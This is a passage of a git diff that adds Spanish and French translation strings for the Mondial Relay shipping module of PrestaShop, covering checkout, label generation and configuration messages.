+$_MODULE['<{mondialrelay}prestashop>generate_tickets_d79cf3f429596f77db95c65074663a54'] = 'ID pedido'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_ce26601dac0dea138b7295f02b7620a7'] = 'cliente'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_0eede552438475bdfe820c13f24c9399'] = 'Precio total'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_c28e0582276cb6747e37d948e1727929'] = 'Total gastos de envío:'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_44749712dbec183e983dcd78a7736c41'] = 'Fecha'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_52150799c57e873360cca13c080a91b4'] = 'Ponga un peso (en gramos)'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_6ccc0fdff9995e1a0fce00c99e5b6085'] = 'Número de MR'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_f9c50cba4de9032d7a6797a2458f8ed9'] = 'País MR'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_428c091372d840900cf8536519fa0056'] = 'Exp. Número'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_a254c25adc7d10d7e9c4889484f875a5'] = 'Detalle'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_4351cfebe4b61d8aa5efa1d020710005'] = 'Vista'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_2e01172e31495f41fcebcf3f831cc82c'] = 'Operación exitosa'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_37c85a61df6352af7285c307022c4413'] = 'No hay pedidos con este estado.'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_32b919d18cfaca89383f6000dcc9c031'] = '¡Generar!'; +$_MODULE['<{mondialrelay}prestashop>history_4f1a377c20ace646ddd303ad1e1d243d'] = 'Historial de creación de etiquetas'; +$_MODULE['<{mondialrelay}prestashop>history_d79cf3f429596f77db95c65074663a54'] = 'ID pedido'; +$_MODULE['<{mondialrelay}prestashop>history_e1a98101d56e29eeea312a0eb2748a92'] = 'Exp. número'; +$_MODULE['<{mondialrelay}prestashop>history_aab39f783ba2e72eaad1770f4d9ad0c4'] = 'Imprimir etiqueta A4'; +$_MODULE['<{mondialrelay}prestashop>history_3eb2bc1ee46258d2a166e89398756b3e'] = 'Imprimir etiqueta A5'; +$_MODULE['<{mondialrelay}prestashop>history_9e50665937cbb2f3c833d3626a9f9abb'] = 'No hay historias disponibles'; +$_MODULE['<{mondialrelay}prestashop>history_fa98e6528c9df7f26978c2beb7de3d99'] = 'Eliminar el historial selecionado'; +$_MODULE['<{mondialrelay}prestashop>settings_0a4ee7474864081af12dba847fafdaa6'] = 'Pestaña de configuración del adm'; +$_MODULE['<{mondialrelay}prestashop>settings_d02bbc3cb147c272b0445ac5ca7d1a36'] = 'Estado del pedido'; +$_MODULE['<{mondialrelay}prestashop>settings_ca57625685f058f54d82c6e05876a131'] = 'Elige el estado por las etiquetas.'; +$_MODULE['<{mondialrelay}prestashop>settings_c9cc8cce247e49bae79f15173ce97354'] = 'Guardar'; +$_MODULE['<{mondialrelay}prestashop>settings_f4f70727dc34561dfde1a3c529b6205c'] = 'Ajustes'; +$_MODULE['<{mondialrelay}prestashop>install-1.8.0_315a8895cf7c458597be5cf3c5b18d0b'] = 'No se puede crear la tabla metodo'; +$_MODULE['<{mondialrelay}prestashop>install-1.8.0_e364c3962f360330a5d8084c3ef5cacf'] = 'No se puede cambiar el nombre de la tabla method'; +$_MODULE['<{mondialrelay}prestashop>install-1.8.0_6384826d8bae08ec0ca4d1cd386a32c8'] = 'No se puede renombrar la tabla history'; +$_MODULE['<{mondialrelay}prestashop>install-1.8.0_4c74bd0afa2a8ecb894674c9cd942da5'] = 'No se puede actualizar la tabla mr_method_shop'; +$_MODULE['<{mondialrelay}prestashop>install-1.8.3_665cc27f3a529d80315dd49378a6c2bf'] = 'No se puede añadir un nuevo campo en la tabla method'; diff --git a/modules/mondialrelay/fr.php b/modules/mondialrelay/fr.php new file mode 100755 index 0000000..d924898 --- /dev/null +++ b/modules/mondialrelay/fr.php @@ -0,0 +1,191 @@ +adminmondialrelay_e82faee1422140edd04b2f94c5051500'] = 'Action terminée avec succès!'; +$_MODULE['<{mondialrelay}prestashop>adminmondialrelay_3b2d373418745276ae6e207421245cdc'] = 'Le statut de la commande a été mis à jour'; +$_MODULE['<{mondialrelay}prestashop>adminmondialrelay_b4ac3d3f15bc0984d0906aff1202e701'] = 'Impossible de mettre à jour le compte'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_44585fcd617dce6416d8283b026714c1'] = 'Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_ed4a3b96dc1f38c160775cac1f7bcd6d'] = 'Livrez vos colis en point relais'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_1889ea20d1343f376f5d52b6b8dc7a3f'] = 'Vous devez sélectionner un point relai avant de continuer.'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_d2286c9c8c8f92cb0e805b17834591b0'] = 'Enseigne invalide'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_709b076565df5fa98cdb2528d897633d'] = 'Code Marque invalide'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_c86508f5bc6b4456e7003d6a1868689d'] = 'Clé Webservice invalide'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_ea9261a3dad976b40ff2088a19fda2c3'] = 'Langage invalide'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_4eb287cc225ba0e1bcfe9cc1b8315def'] = 'Coefficient de poids invalide'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_70ff82d47f295f730c6accf07a2948e8'] = 'Nom de transporteur invalide'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_e1f1787db2fee596f4c3bfaf1d098f8d'] = 'Col Mode invalide'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_9414b7de379a09941e894d28f19949ae'] = 'Mode de livraison invalide'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_5eeb9ca7eee4be7192dd10d917f79a12'] = 'Assurance invalide'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_8b446ac2013dc7085802de71cc342ead'] = 'Vous devez choisir au moins un pays de livraison'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_979c6094728c14aac1b66d544dc5cebd'] = 'Etat de commande invalide'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_e82faee1422140edd04b2f94c5051500'] = 'Action réussie'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_672facd73d4aee44c116cfd95298db87'] = 'Les informations du compte viennent d\'être mises à jour'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_b4ac3d3f15bc0984d0906aff1202e701'] = 'Impossibilité de mettre à jour les infos du compte pour cette boutique'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_ea50be3d60be594e10e9e3560cb9159f'] = 'Nouvelle méthode de transport ajoutée'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_d0cfdfcfb71029b561f5ebdc176d87ca'] = 'Le statu de la commande à été mise à jour'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_7534411af2e35bed1f79df5938f077f9'] = 'Le transporteur a été supprimé (désactivé dans la base de données de PrestaShop)'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_2673bca5ba0a7871770e69c962e6ce38'] = 'Numéro d\'expédition'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_0dbe844fb964d5eca2f51be724e43294'] = 'URL de l\'étiquette'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_c6aefd5e2191e1210a2f50416812b517'] = 'URL de suivi'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_61e70b58e38fd01daa254f44c4fa264b'] = 'Numéro du point relai:'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_aa625fced6f01ae595b6a9ac499c2ecf'] = 'La tranche de poids ne peut être ajouté'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_63d15383121b5bb5c53323f3f96bd1f2'] = 'La tranche de prix ne peux être ajouté'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_d4d197dd028e28ae56208971b564921a'] = 'La zone par défaut ne peut être ajouté'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_760ac6deb1c5b84321f65ba0c7f319f5'] = 'La zone du transporteur ou les données de livraison ne peuvent être ajouté'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_8bf569ff65b32464e623ca9e9a10688d'] = 'Le transporteur ne peut être créé'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_6ed26bdf3f9141ddca4ede91f943e567'] = 'Le mode de transporteur ne peut être ajouté pour le module'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_af135815ccf731bcbffb522004762b57'] = 'Le transporteur ne peut être supprimé'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_bba366864d25056c941b72f18ef79e7c'] = 'Cette erreur n\'est pas mentionnée:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_a1c3470a944b9625cfb924fd15c8bdbf'] = 'Veuillez choisir au moins une commande'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_dc41aac14af17f1d19fca5e3b9439e74'] = 'Cette clé'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_306b346c19017609403424203ea3d720'] = 'est vide et doit être renseignée'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_8184ba43565d0d65b7b1739f2cef25c8'] = 'La requete semble invalide'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_c9b4de92f371ae545ad6f051c07d58ca'] = 'Erreur numéro :'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_ea5f761be4e4888eabf4e1501d7817d1'] = 'Détails :'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_eabb11bf9623f08409a0a4c9d035a336'] = 'Numéro d\'expédition :'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_b92c3d3319314513c547675924ceecd1'] = 'URL du Ticket :'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_66b793b6b4125e300717e8cf7449f533'] = 'Url de Tracking :'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_952a812236cabbd70b949ecb43f89c82'] = 'Le webservice Mondial Relay semble être déconnecté'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_26b6b6eaec970108c5e84286159fbf48'] = 'Merci de vérifier la configuration de votre langue'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_557595c2e17c9948a9448eb763ac1a88'] = 'Merci de vérifier la configuration de votre nom de boutique'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_017ca6b770ad53669a4eec82894dfcd3'] = 'Merci de vérifier la configuration de votre adresse 1'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_3f79e1fc66b4f9cca7bd68cab176020d'] = 'Merci de vérifier la configuration de votre ville'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_404665d9b65239985d59b30b3dcb26b5'] = 'Merci de vérifier la configuration de votre code postal'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_0b8a30478b9572b86718989d483fd88d'] = 'Merci de vérifier la configuration de votre pays'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_7ddf2d94bf037b7d1088c0600ea589c3'] = 'Merci de vérifier la configuration de votre téléphone'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_9c7ce7be9a2c593b24d448edb4f804e0'] = 'Merci de vérifier la configuration de votre email'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_85e6a18230d49abf8cfe912809185258'] = 'La validation du code postal ne peux être effectué sur une version de PrestaShop inférieur à la 1.4'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_14288d48d107056c1acf8aaae1bf282b'] = 'L\'adresse du client ne peut etre trouvé'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_dc41aac14af17f1d19fca5e3b9439e74'] = 'Cette clé'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_135a7b9a62531e066a95093d8951b344'] = 'n\'a pas un format valide'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Il semblerai que la requete n\'est pas valide'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_c9b4de92f371ae545ad6f051c07d58ca'] = 'Il y a une erreur numéro'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_ea5f761be4e4888eabf4e1501d7817d1'] = 'Détail :'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_4e274658c9e97c2a336dde79dd0a7772'] = 'MondialRelay ne peux trouver aucun point relais proche de votre adresse. Peut etre que votre adresse n\'est pas correctement rempli ?'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_2653c23b8c0daac59571e4be5e8fa7d0'] = 'Le webservice MondialRelay n\'est pas joignable'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_dc41aac14af17f1d19fca5e3b9439e74'] = 'Cette clé'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_135a7b9a62531e066a95093d8951b344'] = 'n\'a pas un format valide'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Il semble que la requête soit invalide :'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_c9b4de92f371ae545ad6f051c07d58ca'] = 'Erreur numéro :'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_ea5f761be4e4888eabf4e1501d7817d1'] = 'Détails :'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_2653c23b8c0daac59571e4be5e8fa7d0'] = 'Le webservice Mondial Relay est actuellement innaccessible.'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_38b4abe2f5860f034e315f2da648a3d6'] = 'Désintaller MondialRelay'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_a4691c957e81a6f0b6f0ed44f8f2dfe8'] = 'Vous allez désintaller le module : voulez vous aussi effacer les paramètres relatifs à Mondial Relay?'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_09c081633d484a62a2f6940c12a0de36'] = 'Garder et désintaller'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_0b7f47fce1d82d53244771c64b1535c0'] = 'Supprimer et désinstaller'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_ea4788705e6873b424c65e91c2846b19'] = 'Annuler'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_a42bb0eaa485682166770a54469385f6'] = 'Certaines étiquettes ne peuvent pas être supprimées : veuillez réessayer un peu plus tard.'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_11744bfebb33e52be37a66a530b7045d'] = 'Veuillez choisir au moins un élèment de l\'historique'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_14288d48d107056c1acf8aaae1bf282b'] = 'L\'adresse du client ne peut être trouvé'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_dc41aac14af17f1d19fca5e3b9439e74'] = 'Cette clé'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_306b346c19017609403424203ea3d720'] = 'est vide et doit être renseignée'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Il semble que la requête ne soit pas valide'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_c9b4de92f371ae545ad6f051c07d58ca'] = 'Erreur numéro :'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_ea5f761be4e4888eabf4e1501d7817d1'] = 'Détails :'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_6f8522e0610541f1ef215a22ffa66ff6'] = 'Lundi'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_5792315f09a5d54fb7e3d066672b507f'] = 'Mardi'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_796c163589f295373e171842f37265d5'] = 'Mercredi'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_78ae6f0cd191d25147e252dc54768238'] = 'Jeudi'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_c33b138a163847cdb6caeeb7c9a126b4'] = 'Vendredi'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_8b7051187b9191cdcdae6ed5a10e5adc'] = 'Samedi'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_9d1a0949c39e66a0cd65240bc0ac9177'] = 'Dimanche'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_2653c23b8c0daac59571e4be5e8fa7d0'] = 'Le webservice Mondial Relay est actuellement innaccessible.'; +$_MODULE['<{mondialrelay}prestashop>checkout_process_836f6c949a2f2d61489bf410def82111'] = 'Mondialrelay ne peut récupérer les points relais du à une erreur de Prestashop'; +$_MODULE['<{mondialrelay}prestashop>configuration_0f27e5e9020f28e3f31b78376e11d4c7'] = 'Configuration de Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_8bc212f48680748479bbd322d4d73d3f'] = 'Détails du compte'; +$_MODULE['<{mondialrelay}prestashop>configuration_ea9cf7e47ff33b2be14e6dd07cbcefc6'] = 'Transporteur'; +$_MODULE['<{mondialrelay}prestashop>configuration_fe4c6a5e7bd6793b37370e4e46daf998'] = 'Paramètres avancés'; +$_MODULE['<{mondialrelay}prestashop>configuration_326e057f57e830834c20d668e44627ef'] = 'Infos'; +$_MODULE['<{mondialrelay}prestashop>configuration_29141d2b5a484e8032ef64339733f0dc'] = 'Merci de configurer le détail votre compte'; +$_MODULE['<{mondialrelay}prestashop>configuration_5a2355a42ba3ab265701183c914467f2'] = 'Essayez de désactiver le cache et de forcer la compilation smarty'; +$_MODULE['<{mondialrelay}prestashop>configuration_3de769f9a81eed916583d5b35c58dbdd'] = 'si vous rencontrez le moindre problème après une mise à jour du module'; +$_MODULE['<{mondialrelay}prestashop>configuration_8f8b21bd013b38d1e3059557c22a57e7'] = 'Consulter le manuel pour vous guider dans la configuration de Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_d21a9f93917604d5490ad529a7cf1ff9'] = 'Pour créer un transporteur Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_c6a2e6af5fff47adb3afd780b97d9b4b'] = 'Remplissez et sauvegardez vos paramètres Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_b29c4694f835ad29b9893cd3fed36fbc'] = 'Créez un transporteur en utilisant le bouton \'Transporteur\''; +$_MODULE['<{mondialrelay}prestashop>configuration_b962d8fb95f5a439f50502152f3bad71'] = 'Définissez un prix pour votre transporteur sur'; +$_MODULE['<{mondialrelay}prestashop>configuration_faf1247ae6846a9955a466d4f301bbe4'] = 'La page Transporteurs'; +$_MODULE['<{mondialrelay}prestashop>configuration_10d78806b84b97ebc774e9f6277af6ac'] = 'Pour générer vos étiquettes, vous devez avoir enregistré une adresse valide de votre boutique sur votre'; +$_MODULE['<{mondialrelay}prestashop>configuration_af5efea250326c1c34d69aa9364b482c'] = 'page contact'; +$_MODULE['<{mondialrelay}prestashop>configuration_1ba3935c9858ffb8e19a35ca640b8505'] = 'Détails du compte Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_a125105400f6e4ee4574da3793af5ef2'] = 'Ces paramètres vous sont donnés par Mondial Relay une fois inscrit à leurs services'; +$_MODULE['<{mondialrelay}prestashop>configuration_12a3fbd35c1cab4b1101b91d708efd15'] = 'Enseigne Webservice :'; +$_MODULE['<{mondialrelay}prestashop>configuration_6f0434b67007b555dfd1201f4e0d5254'] = 'Code Marque :'; +$_MODULE['<{mondialrelay}prestashop>configuration_08f785193c96b2a78dec8d76a46648d6'] = 'Clé Webservice :'; +$_MODULE['<{mondialrelay}prestashop>configuration_0dae2d7c71f2daaedb00191af25dc28d'] = 'Langue des étiquettes'; +$_MODULE['<{mondialrelay}prestashop>configuration_a26329cba9723551cb8654deba32872b'] = 'Coefficient de Poids :'; +$_MODULE['<{mondialrelay}prestashop>configuration_99244b234ec089eca40ff9e8ec343e87'] = 'grammes = 1'; +$_MODULE['<{mondialrelay}prestashop>configuration_80eac24973917207249176589fb068ce'] = 'Par défaut le prix sera définit en fonction du poids total.'; +$_MODULE['<{mondialrelay}prestashop>configuration_61cbc2d26b4157292673c772ddd6c0f7'] = 'Mettre à jour le compte'; +$_MODULE['<{mondialrelay}prestashop>configuration_70397c4b252a5168c5ec003931cea215'] = 'Champs requis'; +$_MODULE['<{mondialrelay}prestashop>configuration_9ffc3ccc968a96d902af963c6d7b4e97'] = 'Paramètres avancés'; +$_MODULE['<{mondialrelay}prestashop>configuration_fcf5b2122da1d5a5f5c7253b96a3f9d9'] = 'URL de la tache CRON'; +$_MODULE['<{mondialrelay}prestashop>configuration_66661dacf33146201b60dc16520ddd68'] = 'Ajouter une méthode de transport'; +$_MODULE['<{mondialrelay}prestashop>configuration_531e144cc23ef08408b81cb4d9c641dc'] = 'Nom du transporteur'; +$_MODULE['<{mondialrelay}prestashop>configuration_8f497c1a3d15af9e0c215019f26b887d'] = 'Délais '; +$_MODULE['<{mondialrelay}prestashop>configuration_201bdb87f8e278b943d07ae924d5de6e'] = 'Mode de livraison'; +$_MODULE['<{mondialrelay}prestashop>configuration_142ef02888af88b8b772335277d1c0c8'] = 'Livraison dans un point relais'; +$_MODULE['<{mondialrelay}prestashop>configuration_eeab8b7cf3c7a558a0e8a4050fa994ca'] = 'Livraison Colis Drive'; +$_MODULE['<{mondialrelay}prestashop>configuration_8f7794b107749728c3333ef38d2687e8'] = 'Livraison à domicile RDC (1 personne)'; +$_MODULE['<{mondialrelay}prestashop>configuration_e451efc8ce05b96b214b4c2935f2c657'] = 'Livraison à domicile spécialisée (2 personnes)'; +$_MODULE['<{mondialrelay}prestashop>configuration_eaff1bdf24fcffe0e14e29a1bff51a12'] = 'Assurance'; +$_MODULE['<{mondialrelay}prestashop>configuration_96ba408f20bc3e065f400c650d32fd1a'] = 'Sans assurance'; +$_MODULE['<{mondialrelay}prestashop>configuration_e5a8fafb1dfb538c172e1e014e86b871'] = 'Assurance complémentaire N1'; +$_MODULE['<{mondialrelay}prestashop>configuration_b02f8d6d4b6217cca317161c87f64065'] = 'Assurance complémentaire N2'; +$_MODULE['<{mondialrelay}prestashop>configuration_90b95ae88150c6a34c4129dc4f1ebbd5'] = 'Assurance complémentaire N3'; +$_MODULE['<{mondialrelay}prestashop>configuration_c15b40b8c535191f6f0b6f9beaced3cf'] = 'Assurance complémentaire N4'; +$_MODULE['<{mondialrelay}prestashop>configuration_b67a442fff3ca0a03ea253b0668f946d'] = 'Assurance complémentaire N5'; +$_MODULE['<{mondialrelay}prestashop>configuration_33cbd0d8b6476501f55a8320481ec0f1'] = 'Pays de livraison :'; +$_MODULE['<{mondialrelay}prestashop>configuration_aef71ba4fd060dea2e2c76d1b5076caf'] = 'Vous pouvez choisir plusieurs pays en appuyant sur Ctrl tout en sélectionnant les pays'; +$_MODULE['<{mondialrelay}prestashop>configuration_0309a6c666a7a803fdb9db95de71cf01'] = 'France'; +$_MODULE['<{mondialrelay}prestashop>configuration_6c1674d14bf5f95742f572cddb0641a7'] = 'Belgique'; +$_MODULE['<{mondialrelay}prestashop>configuration_06630c890abadde9228ea818ce52b621'] = 'Luxembourg'; +$_MODULE['<{mondialrelay}prestashop>configuration_907eba32d950bfab68227fd7ea22999b'] = 'Espagne'; +$_MODULE['<{mondialrelay}prestashop>configuration_0c24ec05a02c710cedd400e3680d8b81'] = 'Liste des transporteurs'; +$_MODULE['<{mondialrelay}prestashop>configuration_14039af96b01e718a9c9d9c1259b6472'] = 'Aucun transporteur créé'; +$_MODULE['<{mondialrelay}prestashop>configuration_daf999e234b6f358dda641bf381b685a'] = 'Modifier les paramètres de ce transporteur'; +$_MODULE['<{mondialrelay}prestashop>header_e0626222614bdee31951d84c64e5e9ff'] = 'Choisir'; +$_MODULE['<{mondialrelay}prestashop>header_91b442d385b54e1418d81adc34871053'] = 'Sélectionné'; +$_MODULE['<{mondialrelay}prestashop>header_ef2a1f426c2c289ed5986c7636a5d696'] = 'Merci de choisir un point relais'; +$_MODULE['<{mondialrelay}prestashop>header_80a0c205cd57b22fca7f174253870300'] = 'Heure d\'ouvertude'; +$_MODULE['<{mondialrelay}prestashop>header_2b56b60f878922093facd42284848a0c'] = 'Plus de détails'; +$_MODULE['<{mondialrelay}prestashop>order_detail_81b7b4587a2a3ea7a0d6bb1df3fbba54'] = 'Livraison dans'; +$_MODULE['<{mondialrelay}prestashop>order_detail_c2d05abc7f5ebdc72b6656df35038b43'] = 'Suivre mon colis sur le site de Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>post_action_466ec9f29b485204ef53818459da48af'] = 'erreur(s)'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_8d63728960e021f7632a11922685705e'] = 'Merci de bien vouloir corriger les erreurs suivantes dans'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_264f456c4202f0aba86e481a246a3ef1'] = 'la page de contact'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_de21dc13e1ea638777fbfad49f88b332'] = 'Toutes les commandes qui auront un statut'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_378116486b5a90bb50fd4f1557698d96'] = 'seront disponibles pour la création d\'étiquette'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_5dadbd0ec9f0b182be4ead8dad39da79'] = 'Liste des commandes'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_d79cf3f429596f77db95c65074663a54'] = 'Numéro de commande'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_ce26601dac0dea138b7295f02b7620a7'] = 'Client'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_0eede552438475bdfe820c13f24c9399'] = 'Prix total'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_c28e0582276cb6747e37d948e1727929'] = 'Total frais d\'expédition'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_44749712dbec183e983dcd78a7736c41'] = 'Date'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_52150799c57e873360cca13c080a91b4'] = 'Mettez un poids (grammes)'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_6ccc0fdff9995e1a0fce00c99e5b6085'] = 'Numéro MR'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_f9c50cba4de9032d7a6797a2458f8ed9'] = 'Pays MR'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_428c091372d840900cf8536519fa0056'] = 'Numéro d\'expédition'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_a254c25adc7d10d7e9c4889484f875a5'] = 'Détail'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_4351cfebe4b61d8aa5efa1d020710005'] = 'Voir'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_2e01172e31495f41fcebcf3f831cc82c'] = 'Opération réussie'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_37c85a61df6352af7285c307022c4413'] = 'Aucune commande disponible avec ce statut'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_32b919d18cfaca89383f6000dcc9c031'] = 'Générer'; +$_MODULE['<{mondialrelay}prestashop>history_4f1a377c20ace646ddd303ad1e1d243d'] = 'Historique de la création d\'étiquettes'; +$_MODULE['<{mondialrelay}prestashop>history_d79cf3f429596f77db95c65074663a54'] = 'Numéro de commande'; +$_MODULE['<{mondialrelay}prestashop>history_e1a98101d56e29eeea312a0eb2748a92'] = 'Numéro d\'expédition'; +$_MODULE['<{mondialrelay}prestashop>history_aab39f783ba2e72eaad1770f4d9ad0c4'] = 'Imprimer l\'étiquette format A4'; +$_MODULE['<{mondialrelay}prestashop>history_3eb2bc1ee46258d2a166e89398756b3e'] = 'Imprimer l\'étiquette format A5'; +$_MODULE['<{mondialrelay}prestashop>history_9e50665937cbb2f3c833d3626a9f9abb'] = 'Aucun historique disponible'; +$_MODULE['<{mondialrelay}prestashop>history_fa98e6528c9df7f26978c2beb7de3d99'] = 'Supprimer les historiques sélectionnés'; +$_MODULE['<{mondialrelay}prestashop>settings_0a4ee7474864081af12dba847fafdaa6'] = 'Configuration du panneau d\'administration'; +$_MODULE['<{mondialrelay}prestashop>settings_d02bbc3cb147c272b0445ac5ca7d1a36'] = 'État de la commande'; +$_MODULE['<{mondialrelay}prestashop>settings_ca57625685f058f54d82c6e05876a131'] = 'Choississez le statut pour la génération d\'étiquette.'; +$_MODULE['<{mondialrelay}prestashop>settings_c9cc8cce247e49bae79f15173ce97354'] = 'Sauvegarder'; +$_MODULE['<{mondialrelay}prestashop>settings_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{mondialrelay}prestashop>install-1.8.0_315a8895cf7c458597be5cf3c5b18d0b'] = 'Impossibilité de créer la table \'method shop\''; +$_MODULE['<{mondialrelay}prestashop>install-1.8.0_e364c3962f360330a5d8084c3ef5cacf'] = 'Imossibilité de changer le nom de la table \'method\''; +$_MODULE['<{mondialrelay}prestashop>install-1.8.0_6384826d8bae08ec0ca4d1cd386a32c8'] = 'Impossibilité de renommer la table d\'historique'; +$_MODULE['<{mondialrelay}prestashop>install-1.8.0_4c74bd0afa2a8ecb894674c9cd942da5'] = 'Impossibilité de mettre à jour la table \'method shop\''; +$_MODULE['<{mondialrelay}prestashop>install-1.8.3_665cc27f3a529d80315dd49378a6c2bf'] = 'Impossibilité de créer de nouveaux champs dans la table \'method\''; diff --git a/modules/mondialrelay/images/details.gif b/modules/mondialrelay/images/details.gif new file mode 100755 index 0000000..95eaaa9 Binary files /dev/null and b/modules/mondialrelay/images/details.gif differ diff --git a/modules/mondialrelay/images/error2.png 